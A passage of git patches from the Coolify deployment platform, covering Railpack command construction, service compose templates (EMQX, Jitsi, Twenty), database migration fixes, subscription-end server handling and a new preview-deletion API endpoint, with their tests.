], + ); + + expect(fn () => invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file')) + ->toThrow(DeploymentException::class, 'Invalid repository railpack.json'); +}); + +it('builds railpack prepare command using process env vars for command overrides', function () { + [$job, $reflection] = makeRailpackDeploymentJob( + [ + 'install_command' => 'npm ci', + 'build_command' => 'npm run build', + 'start_command' => 'node server.js', + ], + ); + + $command = invokeRailpackMethod( + $job, + $reflection, + 'railpack_prepare_command', + ['.coolify/railpack.generated.json'], + ); + + expect($command)->toContain("railpack prepare --env 'RAILPACK_NODE_VERSION=22'"); + expect($command)->toContain('RAILPACK_INSTALL_CMD='.escapeshellarg('npm ci')); + expect($command)->toContain('RAILPACK_BUILD_CMD='.escapeshellarg('npm run build')); + expect($command)->toContain('RAILPACK_START_CMD='.escapeshellarg('node server.js')); + expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json')); + expect($command)->toContain('--plan-out /artifacts/railpack-plan.json /artifacts/test-app'); + expect($command)->not->toContain("--env 'RAILPACK_BUILD_CMD="); + expect($command)->not->toContain("--env 'RAILPACK_START_CMD="); + expect($command)->not->toContain("--env 'RAILPACK_INSTALL_CMD="); +}); From 3c51b1aaccee3fdd906c33f9f5527f3fded49e6b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 9 Apr 2026 19:01:52 +0200 Subject: [PATCH 022/329] fix(railpack): pass command overrides through supported prepare/build args Use Railpack's install env handling and dedicated CLI flags for build/start overrides, and forward install commands into docker build secrets so image builds stay aligned with prepare-time configuration. Update the railpack config test to cover the new command format. --- app/Jobs/ApplicationDeploymentJob.php | 47 +++++++++---------- ...pplicationDeploymentRailpackConfigTest.php | 14 +++--- 2 files changed, 30 insertions(+), 31 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index d5c6b1c80..40f917601 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2540,25 +2540,6 @@ private function railpack_config_overrides(): array return []; } - private function railpack_prepare_environment_variables(): Collection - { - $variables = collect([]); - - if ($this->application->install_command) { - $variables->put('RAILPACK_INSTALL_CMD', $this->application->install_command); - } - - if ($this->application->build_command) { - $variables->put('RAILPACK_BUILD_CMD', $this->application->build_command); - } - - if ($this->application->start_command) { - $variables->put('RAILPACK_START_CMD', $this->application->start_command); - } - - return $variables; - } - private function generated_railpack_config_relative_path(): string { return self::RAILPACK_GENERATED_CONFIG_PATH; @@ -2627,12 +2608,17 @@ private function generate_railpack_config_file(): ?string private function railpack_prepare_command(?string $configFilePath = null): string { $prepare_command = 'railpack prepare'; - $prepareEnvironmentVariables = $this->railpack_prepare_environment_variables() - ->map(fn ($value, $key) => "{$key}=".escapeShellValue($value)) - ->implode(' '); - if ($prepareEnvironmentVariables !== '') { - $prepare_command = "{$prepareEnvironmentVariables} {$prepare_command}"; + if ($this->application->install_command) { + $prepare_command .= ' --env '.escapeShellValue("RAILPACK_INSTALL_CMD={$this->application->install_command}"); + } + + if ($this->application->build_command) { + $prepare_command .= ' --build-cmd '.escapeShellValue($this->application->build_command); + } + + if ($this->application->start_command) { + $prepare_command .= ' --start-cmd '.escapeShellValue($this->application->start_command); } if ($this->env_railpack_args) { @@ -2681,11 +2667,22 @@ private function build_railpack_image(): void $cache_args = "--build-arg cache-key='{$this->application->uuid}'"; } + $installCommandEnv = ''; + $installCommandSecret = ''; + if ($this->application->install_command) { + $installCommandEnv = 'env RAILPACK_INSTALL_CMD='.escapeShellValue($this->application->install_command).' '; + $installCommandSecret = ' --secret id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'; + $cache_args .= ' --build-arg secrets-hash='.$this->generate_secrets_hash(collect([ + 'RAILPACK_INSTALL_CMD' => $this->application->install_command, + ])); + } + $build_command = 'docker buildx create --name coolify-railpack --driver docker-container 2>/dev/null || true' - .' && docker buildx build --builder coolify-railpack' + ." && {$installCommandEnv}docker buildx build --builder coolify-railpack" ." {$this->addHosts} --network host" ." --build-arg BUILDKIT_SYNTAX='ghcr.io/railwayapp/railpack-frontend'" ." {$cache_args}" + ."{$installCommandSecret}" .' -f /artifacts/railpack-plan.json' .' --progress plain' .' --load' diff --git a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php index 5cd238b99..63ad618ae 100644 --- a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php +++ b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php @@ -167,7 +167,7 @@ function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $ ->toThrow(DeploymentException::class, 'Invalid repository railpack.json'); }); -it('builds railpack prepare command using process env vars for command overrides', function () { +it('builds railpack prepare command using railpack env for install and cli flags for build/start overrides', function () { [$job, $reflection] = makeRailpackDeploymentJob( [ 'install_command' => 'npm ci', @@ -183,13 +183,15 @@ function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $ ['.coolify/railpack.generated.json'], ); - expect($command)->toContain("railpack prepare --env 'RAILPACK_NODE_VERSION=22'"); - expect($command)->toContain('RAILPACK_INSTALL_CMD='.escapeshellarg('npm ci')); - expect($command)->toContain('RAILPACK_BUILD_CMD='.escapeshellarg('npm run build')); - expect($command)->toContain('RAILPACK_START_CMD='.escapeshellarg('node server.js')); + expect($command)->toContain('railpack prepare'); + expect($command)->toContain('--env '.escapeshellarg('RAILPACK_INSTALL_CMD=npm ci')); + expect($command)->toContain("--env 'RAILPACK_NODE_VERSION=22'"); + expect($command)->toContain('--build-cmd '.escapeshellarg('npm run build')); + expect($command)->toContain('--start-cmd '.escapeshellarg('node server.js')); expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json')); expect($command)->toContain('--plan-out /artifacts/railpack-plan.json /artifacts/test-app'); expect($command)->not->toContain("--env 'RAILPACK_BUILD_CMD="); expect($command)->not->toContain("--env 'RAILPACK_START_CMD="); - expect($command)->not->toContain("--env 'RAILPACK_INSTALL_CMD="); + expect($command)->not->toContain('RAILPACK_BUILD_CMD='); + expect($command)->not->toContain('RAILPACK_START_CMD='); }); From 68e8d6904dd29289413adfd52465138e28dae59f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 14 Apr 2026 17:14:49 +0200 Subject: [PATCH 023/329] feat(env): add buildtime and runtime checkboxes for shared variables Add is_buildtime and is_runtime checkboxes to shared environment variable UI, shown in both editable and read-only (disabled) states. --- .../environment-variable/show.blade.php | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index b873a6f05..6630d0500 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -43,6 +43,12 @@ @endif @else @if ($is_shared) + + @@ -89,6 +95,12 @@ @endif @else @if ($is_shared) + + @@ -209,6 +221,12 @@ @endif @else @if ($is_shared) + + @@ -283,6 +301,12 @@ @endif @else @if ($is_shared) + + From d4e4e446b02c2a0f09bc838e7869ea16138aeffc Mon Sep 17 00:00:00 2001 From: Mohmmad Qunibi Date: Wed, 15 Apr 2026 11:30:43 +0300 Subject: [PATCH 024/329] feat: add emqx service template --- public/svgs/emqx-enterprise.svg | 7 +++++++ templates/compose/emqx-enterprise.yaml | 22 ++++++++++++++++++++++ 2 files changed, 29 insertions(+) create mode 100644 public/svgs/emqx-enterprise.svg create mode 100644 templates/compose/emqx-enterprise.yaml diff --git a/public/svgs/emqx-enterprise.svg b/public/svgs/emqx-enterprise.svg new file mode 100644 index 000000000..e67e1bffe --- /dev/null +++ b/public/svgs/emqx-enterprise.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/templates/compose/emqx-enterprise.yaml b/templates/compose/emqx-enterprise.yaml new file mode 100644 index 000000000..1d62ea6f9 --- /dev/null +++ b/templates/compose/emqx-enterprise.yaml @@ -0,0 +1,22 @@ +# documentation: https://www.emqx.io/docs/en/latest/deploy/install-docker.html +# slogan: Open-source MQTT broker for IoT, IIoT, and connected vehicles. +# category: iot +# tags: mqtt,broker,iot,messaging,emqx,iiot +# logo: svgs/emqx-enterprise.svg +# port: 18083 + +services: + emqx: + image: emqx/emqx-enterprise:6.2.0 + environment: + - SERVICE_URL_EMQX_18083 + - EMQX_DASHBOARD__DEFAULT_PASSWORD=${SERVICE_PASSWORD_EMQX} + volumes: + - emqx_data:/opt/emqx/data + - emqx_log:/opt/emqx/log + healthcheck: + test: ["CMD", "/opt/emqx/bin/emqx", "ctl", "status"] + interval: 10s + timeout: 30s + retries: 5 + start_period: 30s From a5b3d3a53638717fd1ad97d6054039b7a7f73077 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 15 Apr 2026 14:24:41 +0200 Subject: [PATCH 025/329] fix(migrations): guard uuid column addition and filter teamless servers - Skip uuid column creation if it already exists to prevent duplicate column errors on re-run - Use chunkById instead of orderBy+chunk for efficient pagination - Filter servers by whereHas('team') to avoid processing orphaned servers without a team relationship --- ...redefined_server_variables_to_existing_servers.php | 2 +- ...720_add_uuid_to_local_persistent_volumes_table.php | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php index c67987e67..77fcf96a1 100644 --- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php +++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php @@ -11,7 +11,7 @@ */ public function up(): void { - Server::query()->chunk(100, function ($servers) { + Server::query()->whereHas('team')->chunk(100, function ($servers) { foreach ($servers as $server) { $existingKeys = SharedEnvironmentVariable::where('type', 'server') ->where('server_id', $server->id) diff --git a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php index 6b4fb690d..ab279c592 100644 --- a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php +++ b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php @@ -10,14 +10,15 @@ { public function up(): void { - Schema::table('local_persistent_volumes', function (Blueprint $table) { - $table->string('uuid')->nullable()->after('id'); - }); + if (! Schema::hasColumn('local_persistent_volumes', 'uuid')) { + Schema::table('local_persistent_volumes', function (Blueprint $table) { + $table->string('uuid')->nullable()->after('id'); + }); + } DB::table('local_persistent_volumes') ->whereNull('uuid') - ->orderBy('id') - ->chunk(1000, function ($volumes) { + ->chunkById(1000, function ($volumes) { foreach ($volumes as $volume) { DB::table('local_persistent_volumes') ->where('id', $volume->id) From 3a8f52ce16f3828884e48334895a15de3ade7755 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 15 Apr 2026 15:12:29 +0200 Subject: [PATCH 026/329] fix(team): mark servers unreachable when subscription ends Set unreachable_count to 3 and unreachable_notification_sent to true on all team servers in subscriptionEnded(), so the existing cleanup command can pick them up after the 7-day grace period. Also adds feature tests for the subscription-ended cleanup flow and casts server IP to string in existing unreachable server tests to fix type comparison. --- app/Models/Team.php | 4 +- .../Feature/CleanupUnreachableServersTest.php | 6 +- .../CleanupUnsubscribedServersTest.php | 78 +++++++++++++++++++ 3 files changed, 84 insertions(+), 4 deletions(-) create mode 100644 tests/Feature/CleanupUnsubscribedServersTest.php diff --git a/app/Models/Team.php b/app/Models/Team.php index d5d564444..0fbcfe0c6 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -233,6 +233,9 @@ public function subscriptionEnded() 'is_reachable' => false, ]); ServerReachabilityChanged::dispatch($server); + $server->unreachable_count = 3; + $server->unreachable_notification_sent = true; + $server->save(); } } @@ -344,5 +347,4 @@ public function webhookNotificationSettings() { return $this->hasOne(WebhookNotificationSettings::class); } - } diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php index edfd0511c..c06944969 100644 --- a/tests/Feature/CleanupUnreachableServersTest.php +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -30,7 +30,7 @@ 'updated_at' => now()->subDays(8), ]); - $originalIp = $server->ip; + $originalIp = (string) $server->ip; $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); @@ -47,7 +47,7 @@ 'updated_at' => now()->subDays(3), ]); - $originalIp = $server->ip; + $originalIp = (string) $server->ip; $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); @@ -64,7 +64,7 @@ 'updated_at' => now()->subDays(8), ]); - $originalIp = $server->ip; + $originalIp = (string) $server->ip; $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); diff --git a/tests/Feature/CleanupUnsubscribedServersTest.php b/tests/Feature/CleanupUnsubscribedServersTest.php new file mode 100644 index 000000000..ee3fdb02d --- /dev/null +++ b/tests/Feature/CleanupUnsubscribedServersTest.php @@ -0,0 +1,78 @@ +create(); + Subscription::create([ + 'team_id' => $team->id, + 'stripe_invoice_paid' => true, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 0, + 'unreachable_notification_sent' => false, + ]); + + $team->subscriptionEnded(); + + $server->refresh(); + expect($server->unreachable_count)->toBe(3); + expect($server->unreachable_notification_sent)->toBeTrue(); +}); + +it('cleans up unsubscribed server IP after 7 days via cleanup command', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 3, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe('1.2.3.4'); +}); + +it('does not clean up unsubscribed server IP within 7 day grace period', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 3, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(3), + ]); + + $originalIp = (string) $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect((string) $server->ip)->toBe($originalIp); +}); + +it('does not affect servers with active subscriptions', function () { + $team = Team::factory()->create(); + Subscription::create([ + 'team_id' => $team->id, + 'stripe_invoice_paid' => true, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 0, + 'unreachable_notification_sent' => false, + ]); + + $originalCount = $server->unreachable_count; + $originalNotification = $server->unreachable_notification_sent; + + expect($originalCount)->toBe(0); + expect($originalNotification)->toBeFalse(); +}); From be6acd6f24983d47d3da0d7e0f520a98320e2da7 Mon Sep 17 00:00:00 2001 From: Mohmmad Qunibi <82610649+MohmmadQunibi@users.noreply.github.com> Date: Wed, 15 Apr 2026 19:11:03 +0300 Subject: [PATCH 027/329] Changed the category of emqx to Networking --- templates/compose/emqx-enterprise.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/emqx-enterprise.yaml b/templates/compose/emqx-enterprise.yaml index 1d62ea6f9..0f62c1983 100644 --- a/templates/compose/emqx-enterprise.yaml +++ b/templates/compose/emqx-enterprise.yaml @@ -1,6 +1,6 @@ # documentation: https://www.emqx.io/docs/en/latest/deploy/install-docker.html # slogan: Open-source MQTT broker for IoT, IIoT, and connected vehicles. -# category: iot +# category: Networking # tags: mqtt,broker,iot,messaging,emqx,iiot # logo: svgs/emqx-enterprise.svg # port: 18083 From 0daf450efb8bb84ae4ec1995d4909a3c91e7164d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 15 Apr 2026 19:04:15 +0000 Subject: [PATCH 028/329] build(deps-dev): bump follow-redirects from 1.15.11 to 1.16.0 Bumps [follow-redirects](https://github.com/follow-redirects/follow-redirects) from 1.15.11 to 1.16.0. - [Release notes](https://github.com/follow-redirects/follow-redirects/releases) - [Commits](https://github.com/follow-redirects/follow-redirects/compare/v1.15.11...v1.16.0) --- updated-dependencies: - dependency-name: follow-redirects dependency-version: 1.16.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 1fcd7cc1e..20aa0e822 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1781,9 +1781,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "dev": true, "funding": [ { From c07053d28b5e8ddd33f7212b628808f51ba996f1 Mon Sep 17 00:00:00 2001 From: miqonee Date: Thu, 16 Apr 2026 18:44:23 +0700 Subject: [PATCH 029/329] fix(templates): restore Jitsi Meet service template (#4813) --- svgs/jitsi.svg | 650 +++++++++++++++++++++++++++++++++++ templates/compose/jitsi.yaml | 144 ++++---- 2 files changed, 731 insertions(+), 63 deletions(-) create mode 100644 svgs/jitsi.svg diff --git a/svgs/jitsi.svg b/svgs/jitsi.svg new file mode 100644 index 000000000..5a3526ac8 --- /dev/null +++ b/svgs/jitsi.svg @@ -0,0 +1,650 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml index 60903a4b6..db119e4a0 100644 --- a/templates/compose/jitsi.yaml +++ b/templates/compose/jitsi.yaml @@ -1,119 +1,136 @@ -# ignore: true -# documentation: https://jitsi.github.io/handbook/docs/intro -# category: productivity -# slogan: World's easiest way to add meetings to your apps +# documentation: https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/ +# slogan: Self-hosted Jitsi Meet — open-source video conferencing platform +# tags: jitsi,video,conference,webrtc,meeting,self-hosted # logo: svgs/jitsi.svg -# tags: video, conferencing, meetings, communication, open-source +# port: 80 services: jitsi-web: - image: "jitsi/web:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-web + image: "jitsi/web:stable-10888" restart: unless-stopped - ports: - - "8001:80" - - "8443:443" - volumes: - - ~/.jitsi-meet-cfg/web:/config:Z - - ~/.jitsi-meet-cfg/web/crontabs:/var/spool/cron/crontabs:Z - - ~/.jitsi-meet-cfg/transcripts:/usr/share/jitsi-meet/transcripts:Z environment: - SERVICE_URL_JITSI - PUBLIC_URL=$SERVICE_URL_JITSI - - JITSI_IMAGE_VERSION=unstable - - JIBRI_RECORDER_PASSWORD=$SERVICE_PASSWORD_JITSI - - JIBRI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI - - JICOFO_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI - - JIGASI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI - - JVB_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI - - TZ=UTC + - ENABLE_AUTH=0 + - ENABLE_GUESTS=1 + - ENABLE_LETSENCRYPT=0 + - ENABLE_HTTP_REDIRECT=0 + - DISABLE_HTTPS=1 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_GUEST_DOMAIN=guest.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_BOSH_URL_BASE=http://prosody:5280 + - JVB_BREWERY_MUC=jvbbrewery + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} + - TZ=${TZ:-UTC} + depends_on: + - prosody + - jicofo + - jvb + volumes: + - jitsi-web:/config networks: meet.jitsi: aliases: - meet.jitsi - depends_on: - - jvb healthcheck: test: ["CMD", "curl", "-f", "http://localhost"] - interval: 2s + interval: 5s timeout: 10s retries: 15 prosody: - image: "jitsi/prosody:${JITSI_IMAGE_VERSION:-unstable}" - expose: - - '5222' - - '5347' - - '5280' - container_name: jitsi-xmpp + image: "jitsi/prosody:stable-10888" restart: unless-stopped - volumes: - - ~/.jitsi-meet-cfg/prosody/config:/config:Z - - ~/.jitsi-meet-cfg/prosody/prosody-plugins-custom:/prosody-plugins-custom:Z environment: - - JICOFO_AUTH_PASSWORD - - JVB_AUTH_PASSWORD + - AUTH_TYPE=internal + - ENABLE_AUTH=0 + - ENABLE_GUESTS=1 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_GUEST_DOMAIN=guest.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} - PUBLIC_URL=$SERVICE_URL_JITSI - - TZ + - TZ=${TZ:-UTC} + - LOG_LEVEL=${LOG_LEVEL:-info} + volumes: + - jitsi-prosody:/config networks: meet.jitsi: aliases: - xmpp.meet.jitsi + - auth.meet.jitsi + - guest.meet.jitsi healthcheck: test: ["CMD", "curl", "-f", "http://localhost:5280/http-bind"] - interval: 2s + interval: 5s timeout: 10s retries: 15 jicofo: - image: "jitsi/jicofo:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-jicofo + image: "jitsi/jicofo:stable-10888" restart: unless-stopped - volumes: - - ~/.jitsi-meet-cfg/jicofo:/config:Z environment: + - AUTH_TYPE=internal + - ENABLE_AUTH=0 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi - XMPP_SERVER=prosody - - JICOFO_AUTH_PASSWORD - - TZ + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_BREWERY_MUC=jvbbrewery - JICOFO_ENABLE_HEALTH_CHECKS=1 + - TZ=${TZ:-UTC} depends_on: - prosody + volumes: + - jitsi-jicofo:/config networks: meet.jitsi: healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8888/about/health"] - interval: 2s + interval: 5s timeout: 10s retries: 15 jvb: - image: "jitsi/jvb:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-jvb + image: "jitsi/jvb:stable-10888" restart: unless-stopped - expose: - - '10000:10000/udp' - - '8080:8080' - - '10000' - volumes: - - ~/.jitsi-meet-cfg/jvb:/config:Z + ports: + - "10000:10000/udp" environment: - - JVB_ADVERTISE_IPS - - JVB_AUTH_PASSWORD - - PUBLIC_URL=$SERVICE_URL_JITSI - - TZ - XMPP_SERVER=prosody + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - JVB_AUTH_USER=jvb + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} + - JVB_BREWERY_MUC=jvbbrewery + - JVB_PORT=10000 + - JVB_ADVERTISE_IPS=${JVB_ADVERTISE_IPS:-} #Optional: set your public IP only if STUN auto-detection fails or the server is behind NAT / multiple interfaces + - JVB_STUN_SERVERS=${JVB_STUN_SERVERS:-stun.l.google.com:19302} + - PUBLIC_URL=$SERVICE_URL_JITSI + - TZ=${TZ:-UTC} depends_on: - prosody + volumes: + - jitsi-jvb:/config networks: meet.jitsi: - labels: - - "traefik.enable=true" - - "traefik.udp.routers.my-udp-router.entrypoints=video" - - "traefik.udp.routers.my-udp-router.service=my-udp-service" - - "traefik.udp.services.my-udp-service.loadbalancer.server.port=10000" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8080/about/health"] - interval: 2s + interval: 5s timeout: 10s retries: 15 @@ -122,6 +139,7 @@ networks: volumes: jitsi-web: - jitsi-xmpp: + jitsi-prosody: jitsi-jicofo: jitsi-jvb: + \ No newline at end of file From e18ac5a7e810f0e41b8b1483fe6b78e776da663a Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 16 Apr 2026 23:18:19 +0530 Subject: [PATCH 030/329] fix(service): twenty fails to deploy due to dependency unhealthy --- templates/compose/twenty.yaml | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/templates/compose/twenty.yaml b/templates/compose/twenty.yaml index 72871fcc2..d3e26145d 100644 --- a/templates/compose/twenty.yaml +++ b/templates/compose/twenty.yaml @@ -53,7 +53,7 @@ services: interval: 2s timeout: 5s retries: 10 - start_period: 10s + start_period: 30s depends_on: postgres: condition: service_healthy @@ -102,7 +102,15 @@ services: depends_on: twenty: condition: service_healthy - + healthcheck: + test: + - CMD-SHELL + - "ps aux | grep 'dist/queue-worker/queue-worker' | grep -v grep || exit 1" + interval: 30s + timeout: 5s + retries: 3 + start_period: 30s + postgres: image: postgres:16-alpine environment: From bceb5f28dce3e7060458ef97490e16b7796ac743 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 17 Apr 2026 13:29:11 +0200 Subject: [PATCH 031/329] feat(applications): add DELETE endpoint for preview deployments by PR id Add `DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}` to cancel active deployments, stop containers, and delete the preview record via `CleanupPreviewDeployment`. Includes OpenAPI annotations, input validation, and full feature test coverage. --- .../Api/ApplicationsController.php | 73 +++++++++- openapi.json | 64 +++++++++ openapi.yaml | 42 ++++++ routes/api.php | 4 +- tests/Feature/ApplicationPreviewApiTest.php | 132 ++++++++++++++++++ 5 files changed, 313 insertions(+), 2 deletions(-) create mode 100644 tests/Feature/ApplicationPreviewApiTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 3d92300f1..cc7c0dbbe 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2,6 +2,7 @@ namespace App\Http\Controllers\Api; +use App\Actions\Application\CleanupPreviewDeployment; use App\Actions\Application\LoadComposeFile; use App\Actions\Application\StopApplication; use App\Actions\Service\StartService; @@ -9,6 +10,7 @@ use App\Http\Controllers\Controller; use App\Jobs\DeleteResourceJob; use App\Models\Application; +use App\Models\ApplicationPreview; use App\Models\EnvironmentVariable; use App\Models\GithubApp; use App\Models\LocalFileVolume; @@ -1058,7 +1060,7 @@ private function create_application(Request $request, $type) $connectToDockerNetwork = $request->connect_to_docker_network; $customNginxConfiguration = $request->custom_nginx_configuration; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true); - $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false); + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled', false); if (! is_null($customNginxConfiguration)) { if (! isBase64Encoded($customNginxConfiguration)) { @@ -4474,4 +4476,73 @@ public function delete_storage(Request $request): JsonResponse return response()->json(['message' => 'Storage deleted.']); } + + #[OA\Delete( + summary: 'Delete Preview Deployment', + description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.', + path: '/applications/{uuid}/previews/{pull_request_id}', + operationId: 'delete-preview-deployment-by-pull-request-id', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema(type: 'string') + ), + new OA\Parameter( + name: 'pull_request_id', + in: 'path', + description: 'Pull request ID of the preview to delete.', + required: true, + schema: new OA\Schema(type: 'integer') + ), + ], + responses: [ + new OA\Response(response: 200, description: 'Preview deletion queued.', content: new OA\JsonContent( + properties: [new OA\Property(property: 'message', type: 'string')], + )), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function delete_preview_by_pull_request_id(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $this->authorize('delete', $application); + + $pullRequestIdRaw = $request->route('pull_request_id'); + if (! is_numeric($pullRequestIdRaw) || (int) $pullRequestIdRaw <= 0) { + return 